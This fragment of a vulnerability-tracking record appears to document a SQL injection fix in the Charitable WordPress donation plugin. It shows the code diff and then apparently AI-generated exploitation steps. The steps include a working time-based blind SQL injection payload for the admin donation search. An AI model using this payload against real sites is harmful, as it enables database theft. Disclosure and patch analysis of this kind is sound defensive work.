self::format_constant_state( 'DISALLOW_FILE_MODS' ) . \"\\n\";\n+\t\t\t$data .= 'AUTOMATIC_UPDATER_DISABLED: ' . self::format_constant_state( 'AUTOMATIC_UPDATER_DISABLED' ) . \"\\n\";\n+\t\t\t$data .= 'WP_AUTO_UPDATE_CORE:      ' . self::format_constant_state( 'WP_AUTO_UPDATE_CORE' ) . \"\\n\";\n+\t\t\t$data .= 'FS_METHOD:                ' . ( defined( 'FS_METHOD' ) ? esc_html( (string) FS_METHOD ) : '(auto-detect)' ) . \"\\n\";\n+\t\t\t$data .= 'Plugin Dir Writable:      ' . ( is_writable( WP_PLUGIN_DIR ) ? 'Yes' : 'No' ) . ' (' . WP_PLUGIN_DIR . ')' . \"\\n\";\n+\t\t\t$data .= 'wp-content Writable:      ' . ( is_writable( WP_CONTENT_DIR ) ? 'Yes' : 'No' ) . \"\\n\";\n+\n+\t\t\t\u002F\u002F Note about misleading PHP limits on managed hosts.\n+\t\t\tif ( self::is_known_managed_host() ) {\n+\t\t\t\t$data .= \"\\n\" . 'Note: PHP upload\u002Fmemory limits shown above reflect OS-level config.' . \"\\n\";\n+\t\t\t\t$data .= 'Managed hosts may enforce stricter platform-level caps that override them.' . \"\\n\";\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F Recent install errors (captured by the upgrader_install_package_result filter).\n+\t\t\t$errors = (array) get_option( 'charitable_recent_install_errors', array() );\n+\t\t\tif ( ! empty( $errors ) ) {\n+\t\t\t\t$data .= \"\\n\" . '-- Recent Plugin Install\u002FUpdate Errors (last 5)' . \"\\n\\n\";\n+\t\t\t\tforeach ( array_reverse( $errors ) as $err ) {\n+\t\t\t\t\t$ts     = isset( $err['time'] ) ? gmdate( 'Y-m-d H:i:s', (int) $err['time'] ) . ' UTC' : '?';\n+\t\t\t\t\t$action = isset( $err['action'] ) ? $err['action'] : '?';\n+\t\t\t\t\t$plugin = isset( $err['plugin'] ) && $err['plugin'] ? $err['plugin'] : '(unknown)';\n+\t\t\t\t\t$code   = isset( $err['code'] ) ? $err['code'] : '?';\n+\t\t\t\t\t$msg    = isset( $err['message'] ) ? $err['message'] : '';\n+\t\t\t\t\t$data  .= '[' . $ts . '] ' . $action . ' ' . $plugin . \"\\n\";\n+\t\t\t\t\t$data  .= '  Code:    ' . $code . \"\\n\";\n+\t\t\t\t\t$data  .= '  Message: ' . wp_strip_all_tags( $msg ) . \"\\n\";\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\treturn $data;\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Detect the hosting platform.\n+\t\t *\n+\t\t * Read-only: only checks defined constants, loaded classes, and\n+\t\t * already-installed mu-plugin filenames. No filesystem scanning beyond\n+\t\t * the existing get_mu_plugins() result, no network calls.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @return string Human-readable host description, or \"Unknown \u002F generic\".\n+\t\t *\u002F\n+\t\tprivate static function detect_host() {\n+\n+\t\t\t\u002F\u002F Cache the result — this is called at least twice per render\n+\t\t\t\u002F\u002F (once directly, once via is_known_managed_host()).\n+\t\t\tstatic $cached = null;\n+\t\t\tif ( null !== $cached ) {\n+\t\t\t\treturn $cached;\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F WordPress.com (Atomic infrastructure).\n+\t\t\t$is_wpcom = defined( 'WPCOMSH_VERSION' )\n+\t\t\t\t|| defined( 'IS_ATOMIC' )\n+\t\t\t\t|| defined( 'IS_WPCOM' );\n+\n+\t\t\tif ( ! $is_wpcom && function_exists( 'get_mu_plugins' ) ) {\n+\t\t\t\t$mu = get_mu_plugins();\n+\t\t\t\tif ( isset( $mu['wpcomsh-loader.php'] ) ) {\n+\t\t\t\t\t$is_wpcom = true;\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\tif ( $is_wpcom ) {\n+\t\t\t\t$cached = 'WordPress.com (' . self::detect_wpcom_plan() . ')';\n+\t\t\t} elseif ( defined( 'WPE_APIKEY' ) || defined( 'IS_WPE' ) || defined( 'WPE_ATLAS_PLUGIN_VERSION' ) ) {\n+\t\t\t\t$cached = 'WP Engine';\n+\t\t\t} elseif ( defined( 'KINSTAMU_VERSION' ) || defined( 'KINSTA_CACHE_ZONE' ) || class_exists( 'Kinsta\\\\Cache' ) ) {\n+\t\t\t\t$cached = 'Kinsta';\n+\t\t\t} elseif ( defined( 'PANTHEON_ENVIRONMENT' ) || isset( $_SERVER['PANTHEON_ENVIRONMENT'] ) ) { \u002F\u002F phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated\n+\t\t\t\t$cached = 'Pantheon';\n+\t\t\t} elseif ( defined( 'IS_PRESSABLE' ) || defined( 'PRESSABLE_VERSION' ) ) {\n+\t\t\t\t$cached = 'Pressable';\n+\t\t\t} elseif ( defined( 'CLOUDWAYS_VERSION' ) || isset( $_SERVER['cw_allowed_ip'] ) ) { \u002F\u002F phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated\n+\t\t\t\t$cached = 'Cloudways';\n+\t\t\t} elseif ( defined( 'GD_SYSTEM_PLUGIN_DIR' ) || class_exists( 'WPaaS\\\\Plugin' ) ) {\n+\t\t\t\t$cached = 'GoDaddy Managed WordPress';\n+\t\t\t} elseif ( defined( 'MM_BASE_DIR' ) || class_exists( 'EPC_Loader' ) ) {\n+\t\t\t\t$cached = 'Bluehost \u002F Endurance';\n+\t\t\t} elseif ( defined( 'DH_LITESPEED_PLUGIN' ) || isset( $_SERVER['DH_USER'] ) ) { \u002F\u002F phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated\n+\t\t\t\t$cached = 'DreamHost (DreamPress)';\n+\t\t\t} elseif ( class_exists( 'SiteGround_Optimizer\\\\Loader' ) || class_exists( 'SG_CachePress\\\\Loader' ) ) {\n+\t\t\t\t$cached = 'SiteGround';\n+\t\t\t} elseif ( defined( 'FLYWHEEL_CONFIG_DIR' ) || defined( 'FLYWHEEL_PLUGIN_DIR' ) ) {\n+\t\t\t\t$cached = 'Flywheel';\n+\t\t\t} elseif ( defined( 'HOSTINGER_LOCAL_BIN' ) || defined( 'HOSTINGER_AMP_INSTALLED' ) ) {\n+\t\t\t\t$cached = 'Hostinger';\n+\t\t\t} else {\n+\t\t\t\t$cached = 'Unknown \u002F generic';\n+\t\t\t}\n+\n+\t\t\treturn $cached;\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Detect WordPress.com plan tier where possible.\n+\t\t *\n+\t\t * Tries several known surfaces in order; returns \"plan unknown\" if none\n+\t\t * are accessible (WP.com hides this info from most plugin contexts).\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @return string\n+\t\t *\u002F\n+\t\tprivate static function detect_wpcom_plan() {\n+\n+\t\t\t\u002F\u002F Direct constant (rare, but possible).\n+\t\t\tif ( defined( 'WPCOMSH_PLAN' ) && constant( 'WPCOMSH_PLAN' ) ) {\n+\t\t\t\treturn (string) constant( 'WPCOMSH_PLAN' ) . ' plan';\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F Jetpack Plan API: present on WP.com sites because Jetpack is bundled.\n+\t\t\t\u002F\u002F Wrapped in try\u002Fcatch because Jetpack_Plan::get() has historically\n+\t\t\t\u002F\u002F thrown on partially-initialised Jetpack states, and System Info\n+\t\t\t\u002F\u002F must never fatal.\n+\t\t\tif ( class_exists( 'Jetpack_Plan' ) && method_exists( 'Jetpack_Plan', 'get' ) ) {\n+\t\t\t\ttry {\n+\t\t\t\t\t$plan = Jetpack_Plan::get();\n+\t\t\t\t\tif ( is_array( $plan ) ) {\n+\t\t\t\t\t\tif ( ! empty( $plan['product_name_short'] ) ) {\n+\t\t\t\t\t\t\treturn $plan['product_name_short'] . ' plan';\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\tif ( ! empty( $plan['product_slug'] ) ) {\n+\t\t\t\t\t\t\treturn $plan['product_slug'] . ' plan';\n+\t\t\t\t\t\t}\n+\t\t\t\t\t}\n+\t\t\t\t} catch ( \\Throwable $e ) { \u002F\u002F phpcs:ignore\n+\t\t\t\t\t\u002F\u002F Fall through to \"plan unknown\" on any Jetpack internal error.\n+\t\t\t\t\tunset( $e );\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\treturn 'plan unknown';\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Detect a reverse proxy or CDN in front of the site.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @return string\n+\t\t *\u002F\n+\t\tprivate static function detect_proxy() {\n+\n+\t\t\t$signals = array();\n+\n+\t\t\t\u002F\u002F phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotValidated\n+\t\t\tif ( ! empty( $_SERVER['HTTP_CF_RAY'] ) || ! empty( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) {\n+\t\t\t\t$signals[] = 'Cloudflare';\n+\t\t\t}\n+\t\t\tif ( ! empty( $_SERVER['HTTP_X_SUCURI_CLIENTIP'] ) ) {\n+\t\t\t\t$signals[] = 'Sucuri';\n+\t\t\t}\n+\t\t\tif ( ! empty( $_SERVER['HTTP_X_FORWARDED_HOST'] ) && is_string( $_SERVER['HTTP_X_FORWARDED_HOST'] ) ) {\n+\t\t\t\t$fwd_host = wp_unslash( $_SERVER['HTTP_X_FORWARDED_HOST'] );\n+\t\t\t\tif ( is_string( $fwd_host ) && false !== stripos( $fwd_host, 'cdn' ) ) {\n+\t\t\t\t\t$signals[] = 'CDN (X-Forwarded-Host)';\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tif ( ! empty( $_SERVER['HTTP_FASTLY_CLIENT_IP'] ) ) {\n+\t\t\t\t$signals[] = 'Fastly';\n+\t\t\t}\n+\t\t\tif ( ! empty( $_SERVER['HTTP_X_AKAMAI_EDGESCAPE'] ) ) {\n+\t\t\t\t$signals[] = 'Akamai';\n+\t\t\t}\n+\t\t\t\u002F\u002F phpcs:enable\n+\n+\t\t\treturn empty( $signals ) ? 'None detected' : implode( ', ', $signals );\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Whether the current host is one we know enforces platform-level limits.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @return bool\n+\t\t *\u002F\n+\t\tprivate static function is_known_managed_host() {\n+\n+\t\t\t$host = self::detect_host();\n+\n+\t\t\t$managed = array(\n+\t\t\t\t'WordPress.com',\n+\t\t\t\t'WP Engine',\n+\t\t\t\t'Kinsta',\n+\t\t\t\t'Pantheon',\n+\t\t\t\t'Pressable',\n+\t\t\t\t'GoDaddy Managed WordPress',\n+\t\t\t\t'Bluehost \u002F Endurance',\n+\t\t\t\t'DreamHost (DreamPress)',\n+\t\t\t\t'SiteGround',\n+\t\t\t\t'Flywheel',\n+\t\t\t);\n+\n+\t\t\tforeach ( $managed as $needle ) {\n+\t\t\t\tif ( false !== strpos( $host, $needle ) ) {\n+\t\t\t\t\treturn true;\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Render a \"constant defined and truthy\" report line in a single string.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @param  string $name Constant name.\n+\t\t * @return string\n+\t\t *\u002F\n+\t\tprivate static function format_constant_state( $name ) {\n+\n+\t\t\tif ( ! defined( $name ) ) {\n+\t\t\t\treturn 'Not defined';\n+\t\t\t}\n+\n+\t\t\t$value = constant( $name );\n+\n+\t\t\tif ( is_bool( $value ) ) {\n+\t\t\t\treturn 'Defined (' . ( $value ? 'true' : 'false' ) . ')';\n+\t\t\t}\n+\n+\t\t\tif ( is_scalar( $value ) ) {\n+\t\t\t\treturn 'Defined (' . (string) $value . ')';\n+\t\t\t}\n+\n+\t\t\treturn 'Defined';\n+\t\t}\n+\n+\t\t\u002F**\n+\t\t * Capture failed plugin installs\u002Fupdates into a small ring buffer.\n+\t\t *\n+\t\t * Hooked on `upgrader_install_package_result`. Pure pass-through on\n+\t\t * success (the filter must return its first argument unchanged in\n+\t\t * all branches). Only records WP_Error results for plugin-type\n+\t\t * operations. Caps storage at 5 most recent errors.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\n+\t\t * @param  array|WP_Error $result     The install package result.\n+\t\t * @param  array          $hook_extra Extra args from the upgrader.\n+\t\t * @return array|WP_Error             Unchanged result.\n+\t\t *\u002F\n+\t\tpublic static function log_install_result( $result, $hook_extra = array() ) {\n+\n+\t\t\t\u002F\u002F Pass-through: only act on plugin install\u002Fupdate errors.\n+\t\t\tif ( ! is_wp_error( $result ) ) {\n+\t\t\t\treturn $result;\n+\t\t\t}\n+\n+\t\t\tif ( ! is_array( $hook_extra ) || empty( $hook_extra['type'] ) || 'plugin' !== $hook_extra['type'] ) {\n+\t\t\t\treturn $result;\n+\t\t\t}\n+\n+\t\t\t$entry = array(\n+\t\t\t\t'time'    => time(),\n+\t\t\t\t'action'  => isset( $hook_extra['action'] ) ? (string) $hook_extra['action'] : '',\n+\t\t\t\t'plugin'  => isset( $hook_extra['plugin'] ) ? (string) $hook_extra['plugin'] : '',\n+\t\t\t\t'code'    => $result->get_error_code(),\n+\t\t\t\t'message' => $result->get_error_message(),\n+\t\t\t);\n+\n+\t\t\t$errors   = (array) get_option( 'charitable_recent_install_errors', array() );\n+\t\t\t$errors[] = $entry;\n+\t\t\t$errors   = array_slice( $errors, -5 );\n+\n+\t\t\tupdate_option( 'charitable_recent_install_errors', $errors, false );\n+\n+\t\t\treturn $result;\n+\t\t}\n \t}\n \n endif;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php\t2026-01-07 16:49:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -42,7 +42,7 @@\n \t$charitable_welcome_headline    = __( 'Welcome back to the Charitable Setup Wizard!', 'charitable' );\n \t$charitable_introduction_text   = __( 'You have already started the setup wizard. Would you like to continue where you left off?', 'charitable' );\n \t$charitable_button_label        = __( 'Resume Setup Wizard', 'charitable' );\n-\t$charitable_onboarding_url      = 'https:\u002F\u002Fapp.wpcharitable.com\u002Fsetup-wizard-charitable_lite&resume=' . charitable_get_site_token();\n+\t$charitable_onboarding_url      = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() );\n \t$charitable_welcome_go_back_url = admin_url( 'admin.php?page=charitable-setup-checklist&charitable_onboarding=cancel' );\n }\n \u002F\u002F Override even more things if the user is returning from a login after the onboarding process by checking for reauth=1 in the query string.\n@@ -50,8 +50,7 @@\n \t$charitable_welcome_headline    = __( 'Welcome back!', 'charitable' );\n \t$charitable_introduction_text   = __( 'You seem to have been logged out of your WordPress admin during the onboarding process. In order for the onboarding to install plugins and update settings please go back the last step and submit while you are still logged into WordPress.', 'charitable' );\n \t$charitable_button_label        = __( 'Go Back', 'charitable' );\n-\t$charitable_onboarding_url      = charitable_get_onboarding_url();\n-\t$charitable_onboarding_url      = 'https:\u002F\u002Fapp.wpcharitable.com\u002Fsetup-wizard-charitable_lite&resume=' . charitable_get_site_token();\n+\t$charitable_onboarding_url      = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() );\n \t$charitable_welcome_go_back_url = admin_url( 'admin.php?page=charitable-setup-checklist&charitable_onboarding=cancel' );\n }\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fdonations\u002Fclass-charitable-donations.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fdonations\u002Fclass-charitable-donations.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fdonations\u002Fclass-charitable-donations.php\t2024-12-18 15:38:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fdonations\u002Fclass-charitable-donations.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -86,7 +86,8 @@\n \t\t\t$where_clause = $wpdb->prepare( 'post_type = %s', $args['post_type'] );\n \n \t\t\tif ( ! empty( $args['s'] ) ) {\n-\t\t\t\t$where_clause .= \" AND ((post_title LIKE '%{$args['s']}%') OR (post_content LIKE '%{$args['s']}%'))\";\n+\t\t\t\t$like           = '%' . $wpdb->esc_like( $args['s'] ) . '%';\n+\t\t\t\t$where_clause  .= $wpdb->prepare( ' AND ((post_title LIKE %s) OR (post_content LIKE %s))', $like, $like );\n \t\t\t}\n \n \t\t\tif ( ! empty( $args['start_date'] ) ) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php\t2026-04-06 18:17:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -770,6 +770,8 @@\n \t\t\tif ( $result ) {\n \t\t\t\t\u002F\u002F Clear the migration failure transient if it exists.\n \t\t\t\tdelete_transient( 'charitable_stripe_signing_secret_migration_failed' );\n+\t\t\t\t\u002F\u002F Clear the failure counter — signing secret is fresh, past failures are no longer relevant.\n+\t\t\t\tdelete_transient( 'charitable_stripe_webhook_verification_failures' );\n \n \t\t\t\twp_send_json_success(\n \t\t\t\t\tarray(\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Freadme.txt\t2026-04-13 15:07:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Freadme.txt\t2026-05-11 23:16:48.000000000 +0000\n@@ -4,7 +4,7 @@\n Requires at least: 5.0\n Tested up to: 6.9.4\n Requires PHP: 7.4\n-Stable tag: 1.8.10.4\n+Stable tag: 1.8.10.5\n License: GPLv2 or later\n License URI: http:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -268,6 +268,13 @@\n \n == Changelog ==\n \n+= Donation Form & Fundraising Campaigns v1.8.10.5 =\n+* NEW: Redesigned the \"What's New\" splash screen with a new hero section, video, and upgrade buttons.\n+* NEW: Added a Form navigation icon in the campaign builder with an upgrade prompt for the Charitable Pro visual form builder.\n+* IMPROVED: System Info now includes a Hosting Environment section.\n+* FIX: Hardened input handling in the donations admin search to improve query safety.\n+* FIX: Resolved a custom donation amount parsing issue with the decimal separator on non-US currency sites in certain scenarios.\n+\n = Donation Form & Fundraising Campaigns v1.8.10.4 =\n * FIX: Fixed an issue where multiple Stripe webhook endpoints could accumulate over time, causing donation webhook events to fail signature verification in certain scenarios.\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Ftemplates\u002Fdonation-receipt\u002Fsummary.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Ftemplates\u002Fdonation-receipt\u002Fsummary.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Ftemplates\u002Fdonation-receipt\u002Fsummary.php\t2026-01-01 16:41:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Ftemplates\u002Fdonation-receipt\u002Fsummary.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -9,6 +9,7 @@\n  * @since   1.0.0\n  * @version 1.4.7\n  * @version 1.8.8.6\n+ * @version 1.8.10.5\n  *\u002F\n \n \u002F\u002F Exit if accessed directly.\n@@ -40,7 +41,7 @@\n \t\t * @param  string              $context  The context in which this is being shown.\n \t\t * @return string\n \t\t *\u002F\n-\t\techo apply_filters( 'charitable_donation_receipt_donation_amount', charitable_format_money( $charitable_amount ), $charitable_amount, $charitable_donation, 'summary' ) \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n+\t\techo apply_filters( 'charitable_donation_receipt_donation_amount', charitable_format_money( $charitable_amount, false, true, $charitable_donation->get_currency() ), $charitable_amount, $charitable_donation, 'summary' ) \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n \t?>\n \t\u003C\u002Fdd>\n \t\u003Cdt class=\"donation-method\">\u003C?php esc_html_e( 'Payment Method:', 'charitable' ); ?>\u003C\u002Fdt>\n","1. Authenticate to the WordPress dashboard with a user account that has the 'edit_others_donations' capability (such as an Administrator or Editor).\n2. Navigate to the donation management interface at `\u002Fwp-admin\u002Fedit.php?post_type=donation`.\n3. Submit a search request using the 's' parameter containing a time-based blind SQL injection payload. A typical payload would attempt to break out of the query context and trigger a delay: `?post_type=donation&s=test') OR (SELECT 1 FROM (SELECT(SLEEP(10)))a) OR ('1'='1`.\n4. Analyze the server response time. A delay of approximately 10 seconds confirms the vulnerability, which can then be used to extract sensitive data from the database.","gemini-3-flash-preview","2026-05-14 17:56:40","2026-05-14 17:57:20",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.8.10.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags\u002F1.8.10.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcharitable.1.8.10.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags\u002F1.8.10.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcharitable.1.8.10.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcharitable\u002Ftags"]